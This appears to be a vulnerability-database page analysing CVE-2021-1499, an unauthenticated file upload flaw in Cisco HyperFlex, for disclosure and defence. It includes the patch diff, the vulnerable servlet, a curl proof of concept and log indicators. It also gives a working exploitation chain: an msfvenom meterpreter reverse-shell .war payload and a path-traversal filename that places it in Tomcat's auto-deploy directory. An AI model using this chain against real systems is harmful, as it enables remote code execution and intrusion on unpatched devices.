Attacker Value
High
(2 users assessed)
Exploitability
Very High
(2 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2021-1499

Disclosure Date: May 05, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Validated

Description

A vulnerability in the web-based management interface of Cisco HyperFlex HX Data Platform could allow an unauthenticated, remote attacker to upload files to an affected device. This vulnerability is due to missing authentication for the upload function. An attacker could exploit this vulnerability by sending a specific HTTP request to an affected device. A successful exploit could allow the attacker to upload files to the affected device with the permissions of the tomcat8 user.

Add Assessment

3
Ratings
Technical Analysis

Attacker value is a little lower because I was able to test only the installer.

CVE-2021-1499

Arbitrary file upload (RCE implied) in the /upload endpoint.

Patch

--- unpatched/springpath.conf	2021-05-17 19:06:17.000000000 -0500
+++ patched/springpath.conf	2021-05-17 19:06:23.000000000 -0500
@@ -36,14 +36,7 @@
         include     uwsgi_params;
     }

-    location /crossdomain.xml
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
-    location / {
+    location = / {
         return 301 https://$host$request_uri;
     }

@@ -80,12 +73,6 @@
    ### Max upload file size
    client_max_body_size 8000m;

-   location /upload {
-        auth_basic     off;
-        allow          all;
-        proxy_pass http://localhost:8000;
-    }
-
     # similar to storfs-support but with NO auth
     location ~ ^/(storfs-asup)
     {
@@ -188,13 +175,6 @@
         include     uwsgi_params;
     }

-    location ~ ^/(crossdomain\.xml)
-    {
-        auth_basic off;
-        proxy_pass http://localhost:8000;
-        allow all; # Allow all to see content
-    }
-
     # route all traffic that needs authentication to stMgr
     location ~ ^/(stmgr)
     {

Vulnerability

  public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.isMultipart = ServletFileUpload.isMultipartContent(request);
    response.setContentType("application/json");
    PrintWriter out = response.getWriter();
    if (!this.isMultipart) {
      out.println("{\"result\": \"Invalid content-type.\"}");
      logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
      response.setStatus(400);
      return;
    }
    ServletFileUpload upload = new ServletFileUpload();
    upload.setSizeMax(this.maxFileSize);
    FileOutputStream fout = null;
    InputStream stream = null;
    try {
      FileItemIterator iter = upload.getItemIterator(request);
      while (iter.hasNext()) {
        try {
          FileItemStream fi = iter.next();
          stream = fi.openStream();
          String uploadedFileName = this.dirPath + "/" + fi.getName();
          File uploadedFile = new File(uploadedFileName);
          fout = new FileOutputStream(uploadedFile);
          byte[] buffer = new byte[1024];
          int len;
          while ((len = stream.read(buffer, 0, buffer.length)) != -1)
            fout.write(buffer, 0, len);
          out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
          logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
        } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
          logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
        } finally {
          if (fout != null) {
            logger.info("Closing fout");
            fout.close();
          }
          if (stream != null) {
            logger.info("Closing stream");
            stream.close();
          }
        }
      }
    } catch (Exception ex) {
      out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("Exception during file upload servlet stream processing: " + ex);
      response.setStatus(500);
    }
  }

PoC

wvu@kharak:~$ curl -v http://192.168.123.133/upload -F x=@/dev/null
*   Trying 192.168.123.133...
* TCP_NODELAY set
* Connected to 192.168.123.133 (192.168.123.133) port 80 (#0)
> POST /upload HTTP/1.1
> Host: 192.168.123.133
> User-Agent: curl/7.64.1
> Accept: */*
> Transfer-Encoding: chunked
> Content-Type: multipart/form-data; boundary=------------------------1b9a7fe625152b78
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
* Signaling end of chunked upload via terminating chunk.
< HTTP/1.1 200 OK
< Server: nginx/1.8.1
< Date: Tue, 18 May 2021 01:10:59 GMT
< Content-Type: application/json;charset=ISO-8859-1
< Content-Length: 56
< Connection: keep-alive
< Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-NqIRKoqKg0DGa/4ZvALvdLDeCWjHxRJAGWG9bR7oqhg='; img-src 'self'; style-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; font-src 'self' 'sha256-+iKfdo1l+xjgkzhMgz1wtLzCQP0aDTXicQujdoPsGrM='; frame-src 'self'; frame-ancestors 'self'; object-src 'none'; connect-src 'self'
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
<
{"result": "filename: /var/www/localhost/images//null"}
* Connection #0 to host 192.168.123.133 left intact
* Closing connection 0
wvu@kharak:~$
root@HyperFlex-Installer-4.0.2d:~# ls -l /var/www/localhost/images/null
-rw-r--r-- 1 tomcat7 tomcat7 0 May 17 18:10 /var/www/localhost/images/null
root@HyperFlex-Installer-4.0.2d:~#

IOCs

==> /var/log/nginx/access.log <==
192.168.123.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.1" 200 81 "-" "curl/7.64.1"

==> /var/log/springpath/stBootstrapGuiBackend.log <==
2021-05-18-01:10:59.568 [tomcat-http-2] DEBUG c.s.sysmgmt.service.StorvisorFileUploader.doPost():74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():81 - Closing fout
2021-05-18-01:10:59.568 [tomcat-http-2] INFO  c.s.sysmgmt.service.StorvisorFileUploader.doPost():85 - Closing stream

==> /var/log/tomcat7/catalina.out <==
2021-05-18-01:10:59.568 DEBUG com.storvisor.sysmgmt.service.StorvisorFileUploader:74 - {"result": "filename: /var/www/localhost/images//null"}
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:81 - Closing fout
2021-05-18-01:10:59.568 INFO  com.storvisor.sysmgmt.service.StorvisorFileUploader:85 - Closing stream

==> /var/log/tomcat7/localhost_access_log.2021-05-17.txt <==
127.0.0.1 - - [17/May/2021:18:10:59 -0700] "POST /upload HTTP/1.0" 200 56
3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

CVE-2021-1499 is an unauthenticated file upload vulnerability in the Cisco HyperFlex HX Data Platform.

The vulnerability can be used to obtain RCE as the Tomcat user. Requests sent to the endpoint /upload do not require authentication by default, this allows us to upload a payload. Files sent to the upload endpoint are saved on disk in /var/www/localhost/images and are accessible via the endpoint/images, which hosts the file. We can’t execute payloads from /images as it maps to an nginx file server. Luckily the /upload endpoint lacks the necessary input sanitization to prevent us from writing anywhere the Tomcat User has write access. 

To obtain RCE first generate a .war payload: ./msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.123.1 LPORT=4444 -f war > crossdomain.xml.war

Set the file name to ../../../lib/tomcat7/webapps/crossdomain.xml.war when uploading and payload will end up in the tomcat web apps directory. Tomcat is set to hot deploy so it will deploy the malicious payload. We can tell hot deployment is on from line 76 & 77 of /etc/tomcat7/server.xml:

 76       <Host name="localhost"  appBase="webapps" deployOnStartup="true"
 77             autoDeploy="true" deployXML="true">

We name the file crossdomain.xml.war so when it gets uploaded and deployed the payload can then be accessed via /crossdomain.xml/<malicious_jspfile.jsp>.  

 location /crossdomain.xml
  {
    auth_basic off;
    proxy_pass http://localhost:8000;
    allow all; # Allow all to see content
  }

The above rule in the nginx configuration file, /etc/nginx/conf.d/springpath.conf allows requests to be sent to /crossdomain.xml without authentication and they get reverse proxied to the Tomcat server. The reverse proxy to Tomcat allows malicious .jsp files to be executed instead served like on the nginx endpoint /images .

CVSS V3 Severity and Metrics
Base Score:
5.3 Medium
Impact Score:
1.4
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
None
Integrity (I):
Low
Availability (A):
None

General Information

Vendors

  • cisco

Products

  • hyperflex hx data platform

Additional Info

Technical Analysis